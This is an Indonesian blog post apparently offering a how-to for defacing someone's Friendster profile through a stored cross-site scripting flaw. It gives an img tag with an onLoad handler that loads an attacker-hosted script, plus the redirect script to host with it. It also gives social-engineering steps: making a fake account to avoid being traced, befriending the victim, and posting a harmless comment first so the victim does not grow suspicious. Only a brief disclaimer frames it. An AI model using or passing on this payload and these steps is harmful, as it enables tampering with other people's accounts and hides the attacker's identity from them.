Sebenarnya tidak pantas juga sih memposting artikel kaya gini, ditakutkan akan digunakan oleh orang-orang iseng untuk jahil kepada orang lain. Tapi tak apalah, mudah-mudahan bisa menjadi pelajaran bagi orang-orang baik untuk waspada.

Pada kesempatan kali ini saya mencoba memberikan teknik hacking pada profil friendster seseorang. Di tulisan ini akan dibahas tentang teknik deface profil friendster. Apa itu ‘deface’? Deface adalah mengubah tampilan suatu web dengan cara yang tidak lazim (ilegal). Untuk lebih lengkap penjelasannya silahkan tanya mbah Google.

langkah-langkahnya :

  1. Buat sebuah akun di ripway, untuk apa kita buat akun di ripway? Nanti kita akan tahu.
  2. Buat sebuah akun baru di friendster. Untuk biodata di friendster usahakan jangan biodata asli, alasannya tentu saja biar susah dilacak.
  3. Pastikan korban sudah meng-add anda sebagai teman.
  4. Buat sebuah webpage dan sebuah file .txt kosong, lalu upload di ripway.
  5. Kirimkan sebuah komen biasa ke profil korban, biar tidak dicurigai. Lalu pada kesempatan berikutnya kirimkan komen dengan script berikut :
    <img style=height:0;width:0 src="http://images.friendster.com/images/friendster_nav_logo.png" onLoaD ="v=document.createElement('script');v.src='URL FILE TXT ANDA'; navigation.appendChild(v)"/>
  6. Isi di file txt yang kosong tadi (yang sudah anda upload)
    <!--
     window.location = "URL FILE DEFACE/HTML"
     //-->
  7. Tunggu korban sampai mengapprove komen anda.
  8. Dan binggo!!!!

Sedikit penjelasan mengenai teknik ini, teknik diatas disebut defacing dengan directing ke suatu web page dengan memanfaatkan kelemahan friendster yaitu ‘xss vulnerabilities’. Penjelasan ‘xss vulnerabilities’ bisa dicari di Mbah Google. Teknik ini saya pelajari dari sebuah forum hacker dan saya tidak menjamin teknik ini masih bisa dipakai. Karena denger-denger friendster sudah sedikit lebih aman.

O iya, hampir lupa teknik ini tidak akan berhasil kalau korban menggunakan safe mode untuk profilnya. Ok sekian saja, thanks for all, dan jangan lupa pakailah untuk kebaikan.